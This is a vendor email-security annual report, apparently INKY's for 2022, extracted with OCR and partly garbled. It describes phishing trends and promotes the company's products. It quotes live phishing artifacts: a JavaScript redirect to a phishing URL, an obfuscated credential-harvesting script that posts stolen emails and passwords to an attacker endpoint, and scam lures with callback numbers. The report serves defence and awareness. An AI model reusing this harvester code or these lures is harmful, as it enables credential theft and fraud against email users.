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2 Executive Summary

inky.com

Phishing attacks have grown exponentially over the
last decade with a five-year increase of 1,178.8%,
according to the FBI. That means the number of
reported phishing attacks in 2021 was nearly 13 times
higher than they were just five years prior.

At INKY, we've been witnessing an equally egregious
level of activity from bad actors. In fact, over a recent
12-month stretch, INKY observed alarmingly large
increases in the areas of total dangerous emails,
emails with malicious HTML attachments,
cryptocurrency scams, and CEO impersonation
attempts.

+1,1729 7

Phishing, Vishing, Smishing, Pharming 323,972
Incidents Reported by Year

241,342

114,702
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INKY detected an
alarmingly large
increase in dangerous

email over the past
12 months.
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New Phish in the Pool

It’s no secret that cybercriminals are constantly
upping their game - looking for new and inventive
ways to be effective and profitable. To do so, they
must fool their two main audiences. The first
audience consists of email filters and scanners,
Secure Email Gateways (SEGs), and other security
platforms. The second audience phishers must fool
are email users. Regularly, INKY discovers,
investigates, and stops phishing scams that are
clever enough to hook both audiences.

INKY's nets were jam-packed in 2022. Many of the
phish we caught were quite common, however we
also saw several new phish entering the pool. These
new phish include everything from emails with no
text to the exploitation of cloud-based forms.
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2 Top Phishing Trends in 2022

7 o Simple use of malicious URLs or
executable code in the body of the
email have waned.

Phishing can only be traced back to the late 1990s, but its
evolution has been continuous. In the early 2000s it was
obvious that these types of scammers existed. Looking back,
the progression has included automated campaigns, new

engaging subject lines, and simple sender impersonation.
Every time users caught on, a new phishing strategy entered
the scene. Seeing fewer malicious URLs and executable code
in the body of emails - as we have this year - has been a clear
warning from phishers of the complexities to come.

inky.com EMAIL SECURITY ANNUAL REPORT



https://www.inky.com/

Top Phishing Trends in 2022 (cont.)

2 e Sharp rise in the use of HTML
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and PDF attachments that SEGs
do not block.

The attacker has a simple script tag in JavaScript in the
HTML attachment that redirects the victim’s browser to a
malicious site. The attacker puts his JavaScript in the
attachment because most email clients won't run
JavaScript in the body of the email. By putting the
JavaScript in the attachment, the attacker is hoping the
user clicks on it, which will then open in a full browser,
which of course will happily run the JavaScript.

Let's take a closer look on the next page.

& Credit Note.html

ript type="text/javascript">window.location.href ="
https://kgyinternet.mail-box.ne.jp/support/mic/?
y</script>
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Top Phishing Trends in 2022 (cont.)

¢ Credit Note.html

4 ¢ Credit Note.html

1 <script type="text/javascript'>window.location.href ="
https://kgyinternet.mail-box.ne.jp/support/mic/?
;</script> This phishing scheme is successful because

legacy email protection systems don’t
generally scan HTML attachments as they
do the body of the email itself - and even
if they do, they do not remove JavaScript.
In most systems, the attacker is able to
sidestep the email protection system by
moving his malicious payload to an
attachment. With INKY, however, this
phish was caught. INKY both strips
JavaScript from HTML attachments (and
email bodies) and analyzes HTML
attachments to look for malicious content.

inky.com
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Top Phishing Trends in 2022 (cont.)

3 o Cybercriminals are using indirect and multi-step methods to lure
in the end user, making the experience feel more real.

We each have our own level of awareness when it

L R BT emal-ednorpag (1984003 M 4

comes to recognizing a potential phishing email. For e - Irrm
most people, that level of awareness is based on . G

certain tell-tale signs of phishing they were trained to

look for, such as suspicious links, unknown senders, or |

an unfamiliar greeting. In this particular phishing tactic, S

hackers throw victims off the scent by adding steps to

the phishing email to make it seem more realistic. R —

prosciuct. We'd love o hear il i meeting your expectations. Your Teadback

While this multi-step tactic could include any number

of things, INKY has seen the use of different surveys

pop up quite often. In one example, the phishers sent o+ s e 81U ACYEE s 85 X xS ED P Do
an email that appears to be a known vendor who el - ST —
would like to get some feedback on a recent product e

they have delivered. They're simply asking for you to
fill out a quick survey.
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Top Phishing Trends in 2022 (cont.)

It arrived.

Fooling email security

Why this tactic works:

The phishers used Microsoft Dynamics 365 Customer Voice, platforms can be tricky for

which is a customer feedback tool that allows users to create phishers, but using an

custom surveys. INKY picked up more than 2,000 of these established survey tool

malicious emails over the course of three months. Here are a makes it easier for the

few reasons why this phish is successful: phishing email to disguise

itself and get past a variety of
security checkpoints.

ot @ 8 S O

It’s well written.
This email also lacks the typical

Order delivery

—wleel

grammar and spelling errors we
expect in phishing emails. This

e e e e e e might be attributed to the fact
that Microsoft Dynamics has a
built-in email composer used to

, send customized email
invitations to survey recipients.

inky.com

It looks legitimate.
Because phishers are using an
actual survey tool, the domain

name is docs.microsoft.com and
the email address is surveys@
email.formspro.microsoft.com.
Plus, if the phishers got things
right, your name could have been
populated in the opening.

It doesn’t feel phishy.
Up until now, phishing

emails didn’t usually include
multiple steps such as going
to a survey site to provide
feedback. Because that
doesn’t feel like phishing, it's
easy to fall for the scheme.
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) Top Phishing Trends in 2022 (cont.)
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INKY has identified a
new trend we call
Personalized Phish.

We're sure to see more of this clever
phish in the coming months, especially
considering how lucrative it can be
when the user takes the bait. In short, a
fake sender lifts someone’s title from
social media, usually LinkedIn, and
creates a personalized phishing site
with the end user’s domain.

e

WAL

’ =

v <div class="login-form">
v<form action="https://links-1inks-12f3bb5d-bd85-4

& INkY x4+ v
c # storageapi2.fleek.co/dbe72c09-9cda-4967-98a5-2298886ac5ec-bucket/ATTACHED%20FILE findex.htmi#b@inky.com a &b &« O » = O3 0 i
[k O] Elements Console » o1 | & : X
| ¥ ' 11 | ] ; <html lang="en">
! ! JH R I I : ’ » <head>..</head>
- l _ _ _ ¥ <body data—-gr-c-s-loaded="true">
- " img#logoimg 28 x28 "L :p:-&nbsp;:/p:-
1' i <p>&nbsp;</p>

—— - S—
(o haas BN IANE N YU TR 1

Sign in to access
sensitive file

b@inky.com

Password

() Secured Login session? Forgot Password?

# Copyright© INKY 2021

334.herokuapp.com/" method="post" name="myForm"
id="myForm">
v<h2 class="text-center">
v<div id="top">
<img src="https://www.google.com/s2/favicon
s?domain=inky.com" alt="Mailbox" id="1logoim
g" style="width:28px;height:28px;"> == %8
<span style="vertical-align: middle; padding
-left: 5px" class="1logoname">INKY</span>
<br=
<br>
"Sign in to access sensitive file"
</div>
</h2>
» <centers..</center>
»<div class="form-group">..</div=
»<div class="form-group">..</div>

U CIP, [ [ - ——— ] PN

html body divlogin-form form#myForm h2.text-cente ...

Styles Computed Layout Event Listeners >

. Filter thov .cls + [4]]

e 1LEMEer e {
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Top Phishing Trends in 2022 (cont.)

Let’s take a closer look at this example:

The attacker has a generic template and then customizes it for each recipient’s individual and company identity.

Via Google search, the site automatically retrieves

o o o o ) o ® kv x 4+ v
the faV|C0n Image Of the reCIpIent S domaln to Create & C & storageapi2.fleek.co/dbe72c09-9cda-4967-98a5-2298886ac5ec-bucket/ATTACHED%20FILE/index.htmI#b@inky.com a th & O » = IO 0 :
a personalized phishing site in real time. ‘ 0 e e e N A KON -

2 - ' N poielg Pty
c c o g 5 ; o B b : i v <body data-gr-c-s-loaded="true">
The HTML used for this technique is interesting. It ' imotlogoimg 25x28 | <o>EBEDE</p>
e <p>&nbsp;</p>
H H H P Q v <div class="login-form"s
turns out you can get the favicon for any domain via x ) s -8

334.herokuapp.com/" method="post" name="myForm"

a correctly crafted URL. This isn't even a Google ﬁ: N id="myForn">
N . . _ S|gn in to access , v<h2 class="text-center">
search; it's a generic redirect that Google has set up | 3 sensitive file : M. 1 1o tos: / fant.a000le. con/s2/ favicon
. . 5 s?domain=inky.com" alt="Mailbox" id="logoim
for themselves that gives you the favicon for the - . g" style="width:28px;height:28px;"> = 56
. - . .l ’| b@inky.com ] csp:n.sty1f=”{ert_ifz:l—alignl:l middle; padding
domain name specified in the URL query parameter " 0 N = e GRS
i .| i ticdl ’ <br=
(where it says domain=inky.com above). It’s ¢ | Sasswore sign in to access sensitive file’
essentially a magic impersonation redirect hosted by “ =t S L Ip—
. & » <div class="form-group"=>.</div>
Google - always available to the attacker at no cost 1 e = | > <div Class="forn-group">w/div>
} o _ ! ' html bod): _l;i_\.f.logi_r;-;ogn;_.;or.m#-my-F;rm h2.text-cente ...

and able to handle an unlimited number of requests. - .
- # Copyright© INKY 2021 »

Styles Computed Layout Event Listeners >

Filter thov .cls + [4]

element,stvle {
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Top Phishing Trends in 2022 (cont.)

5- Fake Voicemail Alerts — another
common type of Personalized Phish.

ece © KR &K =
Faking voicemail email alerts is popular because with so ® O Eorema Voo amenonMesgn o s St 207
many different voicemail and transcription services
available on the market, it's harder to distinguish real
oy e opo . F - Voice Audio Interf <allstaff91@ >
from fake. In faCt, even the Ieg|t|mate notifications tend SLobr}Lct:Voié);ﬁailuT;gnggri;Ecem:dzsasage On Thursday, September 8, 2022
. Date: September 8, 2022 at 12:12:09 PM EDT
to look pretty phishy. To: allstaffon @)
.. : : ¢
As before, the malicious payload is pushed into an

Transc...n.html

attachment so most email protection systems will largely
ignore it. One new thing we see here is INKY labeling
this “spoofed internal sender”. That means INKY knows
the named individual is an employee or other internal
sender, and that this email is pretending to be that
person.

inky.com EMAIL SECURITY ANNUAL REPORT
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Top Phishing Trends in 2022 (cont.)

@ © =I Sign in to your account

C (@ File | JUsers/

inky.com

x  +

Library/Containers/com.apple.mail/Data/Library/Mail%20Downloads/576 AFD2E-F007-4BC1-9483-C8E7018CBB7D/Voicemail%20Audio%20Transcription.html

a Microsoft

< allstaffo1@

Enter password

Because you're accessing sensitive info, you need to verify
your password

Password

Forgotten my password

Sign in with another account

b

h %« © % = 00 :

And as before, upon opening the
attachment the user is taken to a
fake login page. However, in this
attack the page is not hosted
anywhere. Instead, it’s running on

the user’s local machine. By
looking at the address bar we can
see it's pointing to a local file on
the user’s machine.

Terms of use  Privacy & cookies  «..

EMAIL SECURITY ANNUAL REPORT
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Top Phishing Trends in 2022 (cont.)

& Voicemail Audio Transcription.html

S B | Voicemail Audio Transcription.html

-

] Line 1, Column 1

var url _string = "allstaff91l@ =
var 0365F11e = "https://dinelpolelt. comeEGSS php";

var data = window.atob("PCFETONUWVBFIGh@bWw+CjxodG1lsIGRpcj@ibHRyIiBjbGFzcz@iIiBsYW5nPSJ)1lbiI+CiAgICA8aGVhZD4KICAgIDxtZXRhIGh
@dHAtZXF1aXY9IkNvbnR1bnQtVHlwZSIgY29udGVudD@idGV4dC90dG1ls0yBjaGFyc2VOPVVURiA4I j4KICAgIDx0aXRsZT5TaWduIGluIHRVIH1vdXIgYWNjb3
VudDwvdG1@bGU+CiAgICA8bWVRYSBodHRWLWVxdW12PSJYLVVBLUNvbXBhdGLlibGUiIGNVvbnR1bnQ9IK1FPWVKkZ2UiPgogICAgPG11ldGEgbmFtZT@idml1d3Bvc
nQiIGNvbnR1bnQ9IndpZHRoPWR ldmljZS13aWR@aCwgaW5pdGLhbClzY2FsZTOxLjAsIG1lheGltdWotc2NhbGUIMidwLCB1c2VyLXN] YWxhYmxPX1lcyI+CiAg
ICABc2NyaXBOIHNyYz@iaHR@cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXV1lcnkvMy40LjEvanF1ZX15Lmlpbi5qcyI+PC9zY3IpcHQ+CiA
gICA8bGluayByZWw9InNob3J0Y3VOIGLjb24iIGhyZWY9Imh@dHBz0i8vYWFKY2RuLmlzZnRhdXRoLm5 ldC9zaGFyZWQvMS4wL2NvbnR1lbnQvaWlhZ2VzL2Zhdm
1jb25fYV91ldXBheWZnZ2hxaWFpN2s5c29sNmxnMi5pY28iPiAgICAKICAgIDxsaW5 rIGNyb3Nzb3JpZ2 LuPSJIhbm9ueWlvdXMiIGhyZWY9Imh@dHBz0i8vY2RuL
mpzZGVsaXZyLm51dCO9ucGOvY29ycBAyL jguNSSsaWIvaWskZXgubWluLmpzIj4KICAgIDxsaW5rIGRhdGEtbGIhZGVyYPS]jZG4iIGNyb3Nzb3IpZ21uPSIhbm9Ou
eWlvdXMiIGhyZWY9Imh@dHBz0i8vYWFKY2RuLm1zZnRhdXRoLm51dC91c3RzLzIuMS9jb250ZW50L2NkbmJ 1bmRsZXMvY29udmVyZ2VKLnYyLmxvZ2LuLmlpb19
6aX10ZjhkenQ5ZWcxczYtb2hobGYnMi5jc3MiIHI 1bD@1ic3R5bGVzaGV1dCI+CjwvaGVhZD4KPHN] cmlwdD4KICAgIC8vIHBYZXZ1bnQgY3RybCArIHMKICAgIH
dpbmRvdy5hZGRFdmVudExpc3R1bmVyKCdrZX1kb3duJywgKGUpID@+IHsKICAgICAgQICBpZiA0ZS5jdHIsS2V5ICYmICh1LndoaWNoID@9IDgzKSkgewogICAgI
CAgICAgICBLLNBYZXZ1bnREZWZhdWx@KCk7CiAgICAQICAgICAQIHI ldHVybiBmYWxzZTsgfQogICAgTSk7CiAgICB3aW5kb3cuYWRKRXZ lbnRMaXN@ZW51cign
Y29udGV4dG1 lbnUnLCBldmVudCA9PiB ldmVudC5wemV2ZWS@RGVmMYXVsdCgpKTsKICAgIGRvY3VtZW50LmOua2V52G93biA9ICh LKSASPiB7CiAgICAgICAgaWY
gKGV2ZW50Lmt LleUNvZGUgPTOgMTIzKSB7CiAgICAgICAGICAgIHILdHVYbiBmYWxzZTsKICAgICAGICB9CiAgICAgICAgaWYgKGUuY3RybEtleSAmJiB1lLmt leU
NvZGUgPT@gJ@UnLmNoYXJIDb2R1QXQoMCkpIHsKICAgICAgICAgICAgcmV@dXJuIGZhbHN10wogICAgICAgIHOKICAGICAQICBpZiA0ZS5]dHIsS2V5ICYmIGUUC
2hpZnRLZXkgJiYgZS5rZX1Db2R1ID@9ICdIJy5jaGFyQ29kZUF@KDApKSB7CiAgICAgICAgICAgIHI 1dHVybiBmYWxzZTsKICAgICAgICBICiAgICAgICAgaWYg
KGUuY3RybEt1leSAmJiB1lLnNoaWZ@S2V5ICYmIGUua2V5Q29kZSA9PSANnSicuY2hhckNvZGVBdCgwKSkgewogICAgICAgGICAgQICBYZXR1cm4gZmFsc2U7CiAgICA
gICAgTQogICAgICAGIGIMIChLILMNOCcmxLZXkgJiYgZS5 rZX1Ph?R1 TNAATCAV IvEi AaGFuN2Ak7IIFAKNANKSRTC i AnTCANTCANTCAATH 11 dAHVUhi RmYWy 7 7TeK T
AgICAgICB9CiAgICAgICAgaWYgKGUuY3RybEt1leSAmJiB1lLm : :
wogICAgICAgIHOKICAGICAGICBpZiA0ZS5jdHIsS2V5ICYmI! function send_result{user, pass} {
c2U7CiAgICAgICAgfQogICAgICAgIGIMICh1LmMNOcmxLZXkg. $.aiax({
mYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKGUUY3RybEt R )
JuIGZhbHN10wogICAgICAgIHOKICAGICAGICBpZiA0ZS5idH. url: o365File,
XRlcmd4gZmFsc2U7CiAgICAgQICAgTQogICAgTQogICAgd2 LuZl data- {

ICAgICAgICAQIChlLmt 1eUNvZGUgPT@9IDY3IHx8CiAgICAg

gPT@9IDg1IHXx8CiAgICAgICAgICAgICAgICBlLmMt LeUNVZGU: "emall": user,
JkaXNwbGF501BibG9jazsiPgo8Zm9ybSBuYW1 LPSImMSIgaW! S T

3M9ImxvZ21uLXBhZ2 luYXR1ZC1wYWd I j4KICAGICAGICASZ! ‘password”’: pass
Z3JvdW5kQ29udGFpbmVyIj4KICAgIDxkaXYgY2xhc3M9ImJh' }J

type: Pn:T“.

success: function () 4},

error: function (data) {
console.log{'Ajax erro

inky.com

You might be wondering, if there is no
site hosting the fake login page, where is
it? Of course, it’s in JavaScript in the
HTML attachment. On top of that, it’s
encoded to further obfuscate it. This is
basically code for an entire credential
harvesting site encoded as Baseé64 and
embedded as a simple string in the
JavaScript. INKY decodes baseé64
payloads and other simple encodings, but
of course we can expect attackers to
start using more elaborate obfuscations
in the future.

EMAIL SECURITY ANNUAL REPORT
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Top Phishing Trends in 2022 (cont.)

inky.com

No-text emails that slip through the SEG.

It’s not often that you find a team of phish fighters standing around
talking about body image, but in this situation, it was certainly
warranted.

To the recipient, these phishing emails might appear to be standard, but
in reality, the entire body of the email is an image. That's right - in a
simple, yet clever attempt to get through Secure Email Gateways (SEGs),
black hats are attaching a screenshot of their phishing message to an
empty email. Most email clients will display the image file directly to the
recipient rather than delivering a blank email with an image attached. As
a result, what's delivered looks like a regular email. In most cases, the
recipient is made aware of an expensive phony charge or fake issue.
They are instructed to call a phone number if they want to dispute the
purchase or resolve the problem. Then, once recipients call the phone
number, an operative will try to extract valuable information from them.

eoe T A A2

Payment Receipt Number.NFI-620
To: ur ot

DATE : 10-20-2022

Your subscription with GEEK SQUAD will renew today and $417.00 is about to be debited
from your account by today. The debited amount will be reflected within the next 24hrs.

In case of any further clarifications or block the auto-renewal service please reach out

to our, Customer Help Center +1 (855) 312 - 7163

Customer ID: 9876U87654EDE4

Ref No.: 3EYETH4EDR4563456|

Description: Geek Squad Best Buy Service (One Year Subscription)
Subtotal: $417.00

Sales Tax: $0.00

Total: $417.00

If you didn't authorize this charge, you have 24 Hrs. To cancel & get an instant refund
of your annual subscription, please contact our customer care: +1 (855) 312 - 7163

EMAIL SECURITY ANNUAL REPORT
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[ N N | Source of Payment Receipt Number.NFI-620

—080000000000c650c905eb7b1126
Content-Type: multipart/alternative; boundary="080808088088808c650c685eb7b1124"

—p00000000000c658c605eb7b1124
Content-Type: text/plain; charset="UTF-8"

—pBobapeeeRebc658ct@5ebTbl124
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

=<div dir=3D"1tr"><span id=3D"gmail-:2au" class=3D"gmail-J-J5-Ji" style=3D"d=
isplay:inline-flex;min-height:28px;vertical-align:bottom; font-family:&quot;=
Google Sans&quot;,Roboto,RobotoDraft,Helvetica,Arial,sans—serif;font-size:2=
2px"><br class=3D"gmail-Apple-interchange-newline"></span></div=>

—500000000000c650c605ebTb1124—

—000002008000c658c905eb7b1126

Content-Type: image/jpeg; name="New membership.DFG543.jpg"
Content-Disposition: attachment; filename="New membership.DFG543.jpg"
Content-Transfer-Encoding: base64

Content-ID: <f_19hd8xmle>

X-Attachment-Id: f_19hd8xm1@

/9] /4AAQSkZIRgABAQEBLAESAAD/7gADOWRVYmUAZAAAAAAA/+EQ3EV4aWYAAEINACOAAAATAAQE
OwACAAAABgAACEqHaQAEAAAAAQAACFCcnQABAAAADAAAEM j gHAAHAAATDAAAADAAAAAAHOOAAAAT

AABBZG1pbgAABZADAATAAAAUAAAQNPAEAATAAAAUAAAQS pKRAATAAAADMZ cAAJKSAATAAAADMZ CA

This “body as an image” hoax means the plain
text and HTML versions of the email have no
content for email scanners to analyze so the
message makes its way to the inbox. The image
used as the body of the email doesn’t contain
anything that would appear to be clickable, so the
recipient doesn'’t realize it's just an image.
Instead, they call the number provided, which is
the vishing part of the scam.

INKY uses optical character recognition (OCR)
that extracts the text from an attached email and
uses it in combination with other artificial
intelligence algorithms to detect this type of
email as dangerous.
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Top Phishing Trends in 2022 (cont.)

? o Phishers are now taking over cloud infrastructure to send emails,
which again adds additional steps to look more legitimate.

Attackers can then send email on behalf of

someone in their system, hiding behind another e N @

o M DEI?al'tI'I‘IEI'It of Justice
U Notice of Summon
To:

Reply-To: departmentoofjustice34987624987698279897988689726874687640824686@r

layer of authentication.

SendGrid is a customer communication platform
for transactional and marketing emails. In this

example, phishers hijacked a legitimate SendGrid

mailing list to send phishing emails that Hetlo MRS

impersonated the Su preme Cou rt Of the U nited You are hereby ordered to appear on the following date and time as stated in
the petition letter. Appearance in court is mandatory unless this letter is yet to

States. The message WaS a fa ke Notice Of be received. According to Rule of Law 4(c)(3)(D), failure to appear in court

will result in an issuance of warrant for your arrest.

Summons, threatening arrest if the recipient didn’t

. . . . ATTACHED FILE
appear in court. Victims were asked to click on a _

big orange “ATTACHED FILE” button to view or Ensure that you;

e Present the print out copy of your petition letter.

pri nt thei r petition Iette r. « Inform your legal adviser of this notice before arrival,

* must be punctual.

inky.com EMAIL SECURITY ANNUAL REPORT
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Top Phishing Trends in 2022 (cont.)

Phishers like to prey on strong emotions because when
people are highly emotional, they tend to make mistakes.
Sending an email from the high court telling someone
they are to appear in court or be arrested...well, that’s
enough to make most people jumpy and anxious.

Using SendGrid allows phishers to send email on behalf
of someone in their system, hiding behind another layer
of authentication.

Because phishers used an actual SendGrid distribution
list and sent the phish from an authentic SendGrid IP
address (149.72.57.95), it passed email authentication
and was delivered.

If the recipient were to have hovered over the link
behind the orange “ATTACHED FILE” button, they would
have seen a legitimate and safe SendGrid link. What they
would not expect was that upon clicking, that link would
redirect them to a malicious credential harvesting site.

inky.com

N W e B

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.5681.23 via Frontend
Transnart: Thu. 31 Mar 2022 23:14:17 +AAAA

Authentication-Results: spf=pass (sender IP is 149.72.57.95)
smtp.mailfrom=sendgrid.net; dkim=pass (signature was verified)
header.d=sendgrid.net;dmarc=none action=none
header. from=mailaccess.greyhoodmedialtd.com; compauth=fail reason=001

Received-SPF: Pass (protection.outlook.com: domain of sendgrid.net designates
149.72.57.95 as permitted sender) receiver=protection.outlook.com;
client-ip=149.72.57.95: helo=wravowrf.outbound-mail.sendarid.net:

Received: from wrqvpwrf.outbound-mail.sendgrid.net (149.72.57.95) by
SNINAM@2FT@@57.mail.protection.outlook.com (10.97.4.123) with Microsoft SMTP
Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
15.20.5123.19 via Frontend Transport; Thu, 31 Mar 2022 23:14:16 +0000

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=sendgrid.net;

h=content-type: from:mime-version:subject: reply-to:to:list—unsubscribe;
s=smtpapi; bh=FsQceR2UYfdr+SLWVjdYTt6bpq8JtRS0eCbuDR7Gel0=;
b=c+Ewca0o8bfD5qqawWD1v3ntmnional@dHVU9@TWWIlqg/sSyDXONaQwTCfr3J/U5Qd+DZ
qCg7x5ML4LYmx30oNkCL2cKj i8fDd6Jqj teGI rwKuanrFAt1EOnAqxIc@z4zL rrkwhOXBZm
bbuHYfjAT+icFo9R17TWWcBmAYkTb8w0s=

Received: by filterdrecv-75ff7b5ffb-z69hd with SMTP id filterdrecv-75ff7b5ffb-z69hd-1-624635C7-44

2022-03-31 23:14:15.958782024 +0000 UTC m=+18233665.163325476
Received: from MjYxMTQyOTE (unknown)
by geopod-ismtpd-1-2 (SG) with HTTP
id z4jLIL1pRQmb@crfABQjaQ
Thu, 31 Mar 2022 23:14:15.590 +0000 (UTC)

Content-Type: multipart/alternative; boundary=27f4c694045fe466a88aa064d53f6df92b27b85d2a99beb63c47bf7b2bch

Date: Thu, 31 Mar 2022 23:14:16 +0000 (UTC)
From: Department of Justice

<departmentoofjustice34987624987698279897988689726874687640824686@mailaccess.greyhoodmedialtd. com>

Mime-Version: 1.0
Message-ID: <z4jLIL1pRQmb@crfABQjaQ@geopod-ismtpd-1-2>
Subject: Notice of Summon

Replv-To: departmentoofiustice349876249876982798979R868972687468764A824686@mailaccess.greyhoodmedialtd. com

X-SG-EID:

=?us-ascii?Q?U1qZQr=2FIB1d53rMFB7pJ=2F73MSH1hNDGIx@F0inZcLozWIpQOivTwIfNXjV730k?=
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Top Phishing Trends in 2022 (cont.)
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Message SBA
Message FROM SBA
To:

o The utilization of legitimate cloud
services like Google forms.

The U.S. Small Business
, , , , Administration COVID-19 GRANT
Struggling small business owners who likely received Application
government funds to help them manage through the pandemic
were sent a notice that appeared to be a grant application for The U.S. Small Business Administration COVID-19 GRANT
additional funding. The email was disguised to look as though it cophal o small usineeses and family's suflerng substaryal sconomio.

injury as a result of the Corona-virus is oftering designated states (COVID-19).

came from the U.S. Small Business Administration (SBA) and it

We understand the impact of the COVID-19 pandemic on all business
organizations and family's, that is why we are giving out the GRANT

MONEY to all businesses and organizations p I3 &1 ETEE1VAN (1T
don't have to pay back, the GRANT MONEY is Federal

Sl 435V, and it is our responsibility to make sure your business
. . . is up and running and the economy is fast rising and getting back to normal
the cloud, using a legitimate survey option on Google Forms. - ——
. . Below is a link t ly for the COVID-19 GRANT MONEY.
They |nC|Uded Word|ng that appears to have been taken from d Filel gb:tltshae flgrm(:::jl:ci}l?nyagzl s:bmit it to see if you are qualified for the

COVID-19 GRANT MONEY.

encouraged recipients to see if they were qualified for this

special grant by filling out an application form. Phishers took to

previous SBA communication to help make things look

legitimate. In the end, however, this was a mix of brand

impersonation and the exploitation of legitimate cloud services

(Google Forms) to harvest credentials.

Questions? We're here to help. Call us at 1-800-100-2955 | TTY/TTD:1-800-877-4569.

Office of Disaster Assistance
U.S. Small Business Administration

inky.com EMAIL SECURITY ANNUAL REPORT
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Federal Government Small Business
Grant Form

There are a few reasons why this phishing threat is
successful. To begin, it preys on vulnerable business
owners who were financially impaired by the pandemic.
However, its greatest strengths are its familiar feel and
multiple steps.

Many of the email’s recipients are familiar with the SBA -
from prior financial assistance. Even though we’re dealing
with brand impersonation in this case, that familiar feel is

Is the Applicant a Non-Profit Organization?

one reason posing as the SBA works. These cybercriminals
also set this scam up to have more than one step so that it
would feel more authentic. Finally, to help seal the deal,

phishers chose to use a legitimate Google Forms survey to

harvest credentials - another familiar element.

Account & routing for bank deposit *

inky.com
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> Expanded Technologies

The INKY suite of offerings is regularly expanding to stay ahead of the
ever-growing slew of threats. In 2022, three new technologies were released.

OUTBOUND EMAIL ENCRYPTION ADVANCED

EMAIL PROTECTION ATTACHMENT ANALYSIS

INKY's Outbound Email Protection INKY's Email Encryption technology Advanced Attachment Analysis
reinvents the interaction between allows users to easily encrypt a message delivers patented, deep evaluation of
email users and the policy and store it in a secure web portal. This inbound email attachments in less than
enforcement system with a mobile- ensures the recipient is authenticated a second. It detects malware embedded
first design that requires no specific before they can read the email. deep within files, and because of the
email client plug-in. This provides a Administrators can create customizable unique approach to file inspection, it
vastly improved mobile experience as rules that require senders to encrypt can even detect zero-day threats.
well as more choices about how a outgoing emails with sensitive content. Speed, accuracy, privacy, volume, and
given policy violation should be Simple to use and no plug-ins to the overall user experience are what set
handled, all in an endpoint and client- maintain. this new technology apart from it's

agnostic way. competition.

inky.com
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> Moments Worth
Mentioning

INKY’s accomplishments over the last 12 months went
beyond the many phish we stopped. Here are a few of

our most notable highlights.

inky.com

2022 CRN Tech Innovator Awards Finalist

INKY Technology was named as a Finalist for the 2022 CRN Tech Innovator
Awards which celebrates innovative IT vendors. Selected from among
hundreds of vendor products, INKY is being recognized for its Advanced
Attachment Analysis, which delivers patented, cutting-edge, deep evaluation
of inbound email attachments in less than a second.

Winner in the 2021 SINET 16 Innovator Awards

SINET is dedicated to introducing leading innovators into the Cybersecurity
industry and accelerating innovation. From a pool of 190 applications from
18 countries, INKY was one of 16 emerging companies SINET awarded for
delivering the most innovative and compelling technologies in their fields to
address Cybersecurity threats and vulnerabilities.

“Best of” Email Security for Google Workspace

Expert Insights’ Best-Of Cybersecurity Awards recognize the
world’s best cybersecurity companies and products based on
research by Expert Insights’ independent technical analysts and
editorial team, customer feedback, and industry recognition.
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Our Partner Program Received a 5-Star Rating

CRN®, a brand of The Channel Company, recognized INKY with a prestigious 5-star rating in its
2022 Partner Program Guide. CRN’s annual Partner Program Guide provides a definitive list of
the most notable partner programs from industry-leading technology vendors that provide
innovative products and flexible services through the IT channel. The 5-star rating is achieved
only by select vendors that deliver the best of the best, going above and beyond in their partner

programs to help push growth and positive change.

Partnered with GoDaddy

In a strategic partnership between INKY and GoDaddy, INKY’s innovative
anti-phishing and email assistant offering will be made available to customers
of GoDaddy’s Advanced Email Security (AES) solution for Microsoft 365,
replacing GoDaddy’s prior advanced secure email gateway solution.

INKY surpassed 2,300 customers Recognized as one of the
now using its advanced email phishing and security solutions. World’s Most Innovative Companies
INKY was named to Fast Company’s prestigious annual list of

the World’s Most Innovative Companies for 2022, ranking top
10 in the Security category.

inky.com


https://www.inky.com/

(

///
|

I
Il
i

As for the INKY banners, you really can’t
get anything on the market that looks as
nice. You’re not ever going to find banners
like these that list all the reasons why
things are being flagged.

MICHAEL TRILLO
Director of End User Engineering
AGIO



Beyond the Banner

In the past you have heard it referred to as the INKY Banner. INKY’s Email Assistant provides users with immediate
However, compared to other products in the market, the insight into specific issues within the email they’ve just
term ‘banner’ doesn’t do it justice. It's so much more than a opened. Whether it is differentiating between trustworthy
set of warning messages. On top of intelligently eliminating colleagues and questionable senders, detecting a fake logo
security threats by blocking malicious emails, it assists embedded in your email, or taking a deeper look behind an
employees, in real time, to handle suspicious emails. In 2022, email address to warn of potential fraud, the INKY Email
the INKY Banner has been affectionately referred to as Assistant delivers the level of insight that keeps companies
INKY’s Email Assistant. safe and improves their employees’ email security decision
making.

inky.com EMAIL SECURITY ANNUAL REPORT
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Enterprise Security Group, better known as ESG, is an IT analyst, research, validation, and strategy firm that provides market
intelligence and insight to the global IT community. In their ESG Showcase entitled, “Quashing the Phishing Epidemic,” senior analyst
Dave Gruber spoke to an often-overlooked aspect of phishing attacks that, when implemented properly, can deliver a sharp reduction
in successful phishing attacks. It involves education - the right way.

According to Gruber, “New, innovative email security solutions that directly involve the end-user are showing real promise in
combating email-borne threats.” In particular, ESG’s report shared, “the insertion of a highly optimized, real-time email assistant can

result in up to a 95% reduction of successful phishing attacks.” Those are the kind of results every company can have, with INKY.

As threats grow, so does INKY. In 2022 we added several new threat categories. Three of our favorites include:

Phishing Phone Scam Protected File Potential Exploit

This threat doesn't utilize attachments or This one warns users of bad actors Once we set this one in motion, INKY
links. INKY caught more than 91,500 of compressing malware in password detected more than 16,000 "Potential
these "Phone Scam" emails once we protected zip files. Exploit" emails, many linked to the

created this new category. Log4Shell vulnerability.
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Beyond the Banner

In an experiment with simulated phishing tests,

More than of all of participants clicked on of data breaches
cybersecurity incidents a simulated phishing email, involve a human
InVOIVe human error. with of test participants taking at least one element'

dangerous action - such as providing credentials.

Source: https://www.verizon.com/business/resources/reports/dbir/
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> A Call for Behavioral Change

The experts at INKY agree that one of the most important elements that will be
driving future change is a focus on changing user behavior. It's a sentiment shared
by many in the industry and was signaled out as an issue in the 2022 Data Breach
Investigations Report.

“In 2021 we reported that the human element impacted
30% Of breaches, which decreased slightly to 82% this
vear,” the report said. "...you re going to need to change
the behavior of humans, and that is quite an undertaking.”

But what if the same email security platform that is preventing phishing and malware attacks from compromising your
